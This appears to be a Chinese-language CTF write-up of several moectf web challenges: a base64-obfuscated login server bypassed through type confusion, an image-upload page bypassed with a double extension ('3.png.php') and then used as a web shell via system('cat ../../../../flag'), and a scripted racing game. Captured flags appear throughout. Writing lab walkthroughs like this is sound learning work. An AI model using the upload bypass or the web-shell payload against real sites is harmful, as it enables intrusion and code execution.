tjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==")
class MyHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
try:
if self.path == "/":
self.send_response(200)
self.end_headers()
self.wfile.write(__page__)
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")
def do_POST(self):
try:
if self.path == "/login":
body = self.rfile.read(int(self.headers.get("Content-Length")))
payload = json.loads(body)
params = json.loads(decrypt(payload["params"]))
print(params)
if params.get("username") == "admin":
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
print("admin")
return
if params.get("username") == params.get("password"):
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
print("same")
return
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")
return
self.send_response(403)
self.end_headers()
self.wfile.write(b"Invalid username or password")
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")
if __name__ == "__main__":
server = http.server.HTTPServer(("", 9999), MyHandler)
server.serve_forever()
在def decrypt(data:str)base64解码五次那段密文一样。
在__page__ = base64.b64encode()这段是网站html的源码,可以不用理
在def do_GET(self)是判断
如果请求路径是"/",表示根路径,那么执行以下操作:
发送200状态码,表示请求成功。
发送响应头部。
将预定义的__page__内容写入响应体。
如果请求路径不是"/",即其他路径,执行以下操作:
发送404状态码,表示未找到请求的资源。
发送响应头部。
将"404 Not Found"的消息写入响应体。
在处理过程中,使用异常处理机制(try和except块)捕获可能发生的异常:
如果捕获到异常,将异常信息打印出来。
发送500状态码,表示内部服务器错误。
发送响应头部。
将"500 Internal Server Error"的消息写入响应体。
点击查看def do_POST(self)
如果请求路径是"/login",则执行以下操作:
读取请求体的内容,将其解析为JSON格式的数据。
解密JSON数据中的"params"字段,并再次解析为JSON格式。
检查用户名是否为"admin",如果是则返回403状态码,拒绝登录,并输出相应信息。
检查用户名和密码是否相同,如果是则返回403状态码,拒绝登录,并输出相应信息。
使用gethash函数对用户名和密码进行哈希处理。
遍历hashed_users字典,查找是否有匹配的哈希值。
如果找到匹配,返回200状态码,包含用户信息和标志(flag)的JSON响应。
如果没有找到匹配,返回403状态码,表示用户名或密码无效。
如果请求路径不是"/login",则返回404状态码,表示路径未找到。
如果在处理过程中发生异常,返回500状态码,表示内部服务器错误。
请注意,代码中的一些函数(如decrypt和gethash)以及变量(如hashed_users和FLAG)的定义未提供,可能在代码的其他部分中实现。你可能需要查看完整代码以获取这些缺失部分的上下文。
所以我们可以通过传输一个字符串和一个数字的方式,用户名密码一样的方式来登录。{"username":"0","password":0}
对他进行加密五次然后发送
所以flag:moectf{C0nGUrAti0ns!_y0U_hAve_sUCCessFUlly_siGnin!_iYlJf!M3rux9G9Vf!Jox}
moe图床
得到题目,打开网址
是一个文件上次的题目。习惯性的ctrl+U
点击查看源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>moe图床</title>
</head>
<body>
<input type="file" id="fileInput">
<button onclick="uploadFile()">上传</button>
<div id="uploadResult"></div>
<script>
function uploadFile() {
const fileInput = document.getElementById('fileInput');
const file = fileInput.files[0];
if (!file) {
alert('请选择一个文件进行上传!');
return;
}
const allowedExtensions = ['png'];
const fileExtension = file.name.split('.').pop().toLowerCase();
if (!allowedExtensions.includes(fileExtension)) {
alert('只允许上传后缀名为png的文件!');
return;
}
const formData = new FormData();
formData.append('file', file);
fetch('upload.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(result => {
if (result.success) {
const uploadResult = document.getElementById('uploadResult');
const para = document.createElement('p');
para.textContent = ('地址:');
const link = document.createElement('a');
link.textContent = result.file_path;
link.href = result.file_path;
link.target = '_blank';
para.append(link);
uploadResult.appendChild(para);
alert('文件上传成功!');
} else {
alert('文件上传失败:' + result.message);
}
})
.catch(error => {
console.error('文件上传失败:', error);
});
}
</script>
</body>
</html>
发现只允许上传后缀名为png的文件
在代码处发现有upload.php,于是进行访问
点击查看upload.php
<?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$tmp_path = $_FILES['file']['tmp_name'];
if ($file['type'] !== 'image/png') {
die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
}
if (filesize($tmp_path) > 512 * 1024) {
die(json_encode(['success' => false, 'message' => '文件太大']));
}
$fileName = $file['name'];
$fileNameParts = explode('.', $fileName);
if (count($fileNameParts) >= 2) {
$secondSegment = $fileNameParts[1];
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
} else {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);
if (move_uploaded_file($tmp_path, $uploadFilePath)) {
die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
} else {
die(json_encode(['success' => false, 'message' => '文件上传失败']));
}
}
else{
highlight_file(__FILE__);
}
?>
$targetDir:文件上传的目标目录,这里设置为'uploads/'。
$allowedExtensions:允许上传的文件扩展名数组,这里只允许上传png文件。
处理文件上传:
通过检查$_SERVER['REQUEST_METHOD']和$_FILES['file']来确定是否是POST请求并且包含文件。
获取上传的文件信息,包括临时文件路径($tmp_path)和文件名($fileName)等。
检查文件类型是否为'image/png',如果不是则返回错误信息。
检查文件大小是否超过512KB,如果超过则返回错误信息。
检查文件后缀是否为'png',如果不是则返回错误信息。
构造文件上传目标路径($uploadFilePath),并使用move_uploaded_file函数将文件移动到目标路径。
根据移动结果返回相应的JSON响应,包括成功与否和文件路径。
如果不是POST请求或没有包含文件,显示代码文件的源代码:
使用highlight_file(__FILE__)函数将当前文件的源代码高亮显示。
这里存在一个逻辑这里边将遇到的.分开,然后判断第二个是不是png后缀,但是apache解析是按照一个文件最后的后缀名缀解析,所以我们在png后加个.php
然后我们访问:http://localhost:60666/uploads/3.png.php
POST:666=phpinfo();
然后接着cat flag:666=system('cat ../../../../flag');
所以flag:moectf{hmmm_improper_filter_7tZZNOtVTF727z63avvphFe5rZqYLx-w}
gas!gas!gas!
得到题目,打开地址
得到一个赛车小游戏的题目,
随便输入个1
得到弯道向左,抓地力太大了!
可能需要根据它的要求在0.5s秒内完成5次动作,在第六次出flag盲猜。
这种可能需要了解原理用脚本来配合了
查看源码发现有个post请求,bp抓个包看看
可以看到下面请求的参数
通过参考别人的脚本自己学着编写一个
import requests
# 设置目标URL
url='http://127.0.0.1:58992/'
# 创建session对象
res=requests.session()
# 初始化POST数据
FFdata={"driver":"1","steering_control":"0","throttle":"2"}
# 发送第一个POST请求
fanghui=res.post(url,FFdata)
# 初始化方向控制和油门控制
steering_control = ""
throttle = ""
# 循环执行6次
for i in range(1,7):
# 判断方向控制
if "向右" in fanghui.text:
steering_control = "-1"
elif "向左" in fanghui.text:
steering_control = "1"
else:
steering_control = "0"
# 判断油门控制
if "太小" in fanghui.text:
throttle = "0"
elif "太大" in fanghui.text:
throttle = "2"
else:
throttle = "1"
# 构造新的POST数据
FFdata={"driver":"1","steering_control":steering_control,"throttle":throttle}
# 发送POST请求
fanghui=res.post(url,FFdata)
# 打印最终返回内容
print(fanghui.text)
所以flag:moectf{Beautiful_Drifting!!_OmOll1EtMRpzshv4A1EYPFTkMpK5wf9S}